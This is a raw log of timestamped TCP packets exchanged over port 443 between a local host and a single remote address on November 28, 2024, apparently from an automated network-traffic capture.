Nov 28, 2024 13:10:37.487768888 CET	49909	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.487880945 CET	49909	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.487893105 CET	443	49909	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.497214079 CET	443	49905	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.500725985 CET	443	49905	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.500798941 CET	49905	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.500861883 CET	49905	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.500861883 CET	49905	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.500873089 CET	443	49905	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.500880003 CET	443	49905	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.503598928 CET	49910	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.503609896 CET	443	49910	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.503799915 CET	49910	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.503799915 CET	49910	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.503818035 CET	443	49910	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.841677904 CET	443	49900	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.841706038 CET	443	49900	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.841886997 CET	49900	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.841907978 CET	443	49900	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.842097998 CET	49900	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.842190981 CET	49900	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.842195988 CET	443	49900	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.842231035 CET	49900	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.842355013 CET	443	49900	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.842391968 CET	443	49900	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.842437983 CET	49900	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.845449924 CET	49911	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.845478058 CET	443	49911	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.845542908 CET	49911	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.846049070 CET	49911	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.846061945 CET	443	49911	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:38.715183973 CET	443	49902	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:38.715789080 CET	49902	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:38.715816021 CET	443	49902	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:38.716306925 CET	49902	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:38.716311932 CET	443	49902	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.164967060 CET	443	49902	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.164994955 CET	443	49902	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.165095091 CET	49902	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.165115118 CET	443	49902	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.165376902 CET	49902	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.165390015 CET	443	49902	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.165397882 CET	49902	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.165563107 CET	443	49902	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.165597916 CET	443	49902	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.165636063 CET	49902	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.168976068 CET	49912	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.169018984 CET	443	49912	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.169122934 CET	49912	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.169250011 CET	49912	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.169260979 CET	443	49912	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.214301109 CET	443	49909	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.214967966 CET	49909	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.214982986 CET	443	49909	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.215497017 CET	49909	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.215502024 CET	443	49909	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.335381031 CET	443	49908	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.351463079 CET	443	49910	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.377016068 CET	49908	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.396070957 CET	49910	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.604264975 CET	49908	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.604281902 CET	443	49908	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.604744911 CET	49908	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.604749918 CET	443	49908	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.605040073 CET	49910	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.605051041 CET	443	49910	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.605570078 CET	49910	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.605573893 CET	443	49910	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.651665926 CET	443	49909	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.651844025 CET	443	49909	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.651912928 CET	49909	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.653297901 CET	49909	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.653297901 CET	49909	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.653317928 CET	443	49909	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.653326988 CET	443	49909	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.656239986 CET	49913	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.656272888 CET	443	49913	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.656353951 CET	49913	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.656593084 CET	49913	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.656608105 CET	443	49913	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.704320908 CET	443	49911	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.704941034 CET	49911	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.704957962 CET	443	49911	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.710645914 CET	49911	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.710650921 CET	443	49911	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.939800978 CET	443	49908	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.940551043 CET	443	49910	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.942852974 CET	443	49908	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.942924023 CET	49908	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.942996025 CET	49908	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.943006992 CET	443	49908	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.943018913 CET	49908	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.943025112 CET	443	49908	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.943829060 CET	443	49910	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.943893909 CET	49910	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.944808006 CET	49910	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.944817066 CET	443	49910	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.944840908 CET	49910	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.944844007 CET	443	49910	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.946938992 CET	49914	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.946985960 CET	443	49914	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.947063923 CET	49914	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.948179007 CET	49915	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.948211908 CET	443	49915	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.948301077 CET	49915	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.948405981 CET	49914	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.948414087 CET	443	49914	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:39.948770046 CET	49915	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:39.948785067 CET	443	49915	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:40.157644987 CET	443	49911	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:40.161154985 CET	443	49911	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:40.161222935 CET	49911	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:40.161300898 CET	49911	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:40.161310911 CET	443	49911	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:40.161323071 CET	49911	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:40.161334991 CET	443	49911	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:40.164455891 CET	49916	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:40.164494038 CET	443	49916	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:40.164555073 CET	49916	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:40.164701939 CET	49916	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:40.164715052 CET	443	49916	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:41.380939007 CET	443	49913	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:41.381726980 CET	49913	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:41.381747961 CET	443	49913	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:41.382242918 CET	49913	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:41.382255077 CET	443	49913	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:41.749058962 CET	443	49915	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:41.749655008 CET	49915	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:41.749674082 CET	443	49915	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:41.750207901 CET	49915	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:41.750214100 CET	443	49915	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:41.808351040 CET	443	49914	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:41.817899942 CET	49914	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:41.817924023 CET	443	49914	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:41.818459988 CET	49914	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:41.818465948 CET	443	49914	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:41.961113930 CET	443	49916	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.002075911 CET	49916	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.002458096 CET	49916	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.002470016 CET	443	49916	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.003024101 CET	49916	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.003031015 CET	443	49916	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.192991972 CET	443	49915	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.196767092 CET	443	49915	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.196842909 CET	443	49915	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.196855068 CET	49915	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.196906090 CET	49915	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.227123976 CET	49915	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.227135897 CET	443	49915	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.227145910 CET	49915	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.227150917 CET	443	49915	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.262691975 CET	443	49914	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.262738943 CET	49917	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.262770891 CET	443	49917	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.262772083 CET	443	49914	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.262871981 CET	49917	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.262872934 CET	49914	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.263428926 CET	49914	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.263449907 CET	443	49914	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.263459921 CET	49914	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.263464928 CET	443	49914	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.267297029 CET	49917	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.267311096 CET	443	49917	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.272921085 CET	49918	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.272959948 CET	443	49918	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.273036003 CET	49918	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.273181915 CET	49918	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.273195982 CET	443	49918	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.358098984 CET	443	49913	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.361108065 CET	443	49913	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.361167908 CET	49913	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.361357927 CET	49913	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.361357927 CET	49913	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.361366034 CET	443	49913	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.361373901 CET	443	49913	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.364594936 CET	49919	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.364605904 CET	443	49919	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.364658117 CET	49919	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.364886999 CET	49919	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.364897966 CET	443	49919	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.404967070 CET	443	49916	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.408251047 CET	443	49916	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.408317089 CET	49916	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.408364058 CET	49916	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.408381939 CET	443	49916	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.408391953 CET	49916	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.408396959 CET	443	49916	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.411221027 CET	49920	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.411242008 CET	443	49920	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:42.411309958 CET	49920	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.411444902 CET	49920	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:42.411456108 CET	443	49920	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:43.114114046 CET	443	49912	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:43.114876032 CET	49912	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:43.114897966 CET	443	49912	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:43.115489006 CET	49912	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:43.115493059 CET	443	49912	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:43.558710098 CET	443	49912	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:43.558789015 CET	443	49912	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:43.558840990 CET	49912	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:43.559055090 CET	49912	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:43.559071064 CET	443	49912	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:43.559082031 CET	49912	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:43.559087992 CET	443	49912	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:43.586069107 CET	49923	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:43.586100101 CET	443	49923	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:43.586266041 CET	49923	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:43.587773085 CET	49923	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:43.587799072 CET	443	49923	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.050091982 CET	443	49917	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.050800085 CET	49917	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.050827026 CET	443	49917	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.051337957 CET	49917	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.051343918 CET	443	49917	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.078828096 CET	443	49919	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.079440117 CET	49919	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.079464912 CET	443	49919	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.080279112 CET	49919	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.080284119 CET	443	49919	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.117598057 CET	443	49918	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.118066072 CET	49918	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.118088007 CET	443	49918	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.118488073 CET	49918	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.118506908 CET	443	49918	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.194322109 CET	443	49920	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.195208073 CET	49920	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.195228100 CET	443	49920	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.195707083 CET	49920	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.195713043 CET	443	49920	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.496838093 CET	443	49917	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.496867895 CET	443	49917	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.496921062 CET	443	49917	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.497035027 CET	49917	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.497073889 CET	49917	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.497627020 CET	49917	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.497638941 CET	443	49917	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.497649908 CET	49917	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.497654915 CET	443	49917	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.507716894 CET	49928	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.507742882 CET	443	49928	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.507800102 CET	49928	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.508431911 CET	49928	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.508452892 CET	443	49928	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.513514042 CET	443	49919	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.517011881 CET	443	49919	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.517085075 CET	49919	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.520618916 CET	49919	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.520632982 CET	443	49919	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.520642996 CET	49919	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.520648003 CET	443	49919	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.523411989 CET	49929	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.523437977 CET	443	49929	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.523507118 CET	49929	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.523703098 CET	49929	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.523715973 CET	443	49929	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.574891090 CET	443	49918	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.578026056 CET	443	49918	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.578105927 CET	49918	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.578212023 CET	49918	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.578232050 CET	443	49918	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.578242064 CET	49918	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.578248024 CET	443	49918	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.586437941 CET	49930	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.586477995 CET	443	49930	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.586569071 CET	49930	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.586797953 CET	49930	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.586808920 CET	443	49930	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.639004946 CET	443	49920	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.642066002 CET	443	49920	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.645354986 CET	49920	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.716428041 CET	49920	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.716448069 CET	443	49920	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.716461897 CET	49920	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.716468096 CET	443	49920	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.806411982 CET	49931	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.806452990 CET	443	49931	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:44.806540966 CET	49931	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.834865093 CET	49931	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:44.834877968 CET	443	49931	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.290529013 CET	443	49928	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.291207075 CET	49928	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.291224957 CET	443	49928	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.291721106 CET	49928	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.291726112 CET	443	49928	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.303796053 CET	443	49929	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.304284096 CET	49929	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.304300070 CET	443	49929	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.304737091 CET	49929	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.304742098 CET	443	49929	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.305121899 CET	443	49930	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.305370092 CET	49930	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.305396080 CET	443	49930	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.305710077 CET	49930	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.305715084 CET	443	49930	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.618058920 CET	443	49931	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.618705034 CET	49931	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.618722916 CET	443	49931	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.619265079 CET	49931	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.619270086 CET	443	49931	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.734421968 CET	443	49928	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.737852097 CET	443	49928	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.737946987 CET	49928	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.738014936 CET	49928	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.738034010 CET	443	49928	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.738050938 CET	49928	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.738059044 CET	443	49928	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.740231037 CET	443	49930	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.741628885 CET	49934	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.741679907 CET	443	49934	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.741765976 CET	49934	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.741940022 CET	49934	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.741964102 CET	443	49934	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.743403912 CET	443	49930	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.743453026 CET	49930	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.743488073 CET	49930	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.743499041 CET	443	49930	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.743515015 CET	49930	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.743520021 CET	443	49930	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.745791912 CET	49935	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.745815992 CET	443	49935	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.745896101 CET	49935	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.746026039 CET	49935	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.746038914 CET	443	49935	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.747953892 CET	443	49929	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.751581907 CET	443	49929	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.752746105 CET	49929	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.752836943 CET	49929	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.752855062 CET	443	49929	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.752883911 CET	49929	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.752893925 CET	443	49929	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.755270004 CET	49936	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.755290031 CET	443	49936	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:46.755354881 CET	49936	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.755484104 CET	49936	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:46.755496025 CET	443	49936	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:47.062633038 CET	443	49931	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:47.066339970 CET	443	49931	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:47.066443920 CET	443	49931	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:47.066535950 CET	49931	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:47.072817087 CET	49931	443	192.168.2.4	13.107.246.63
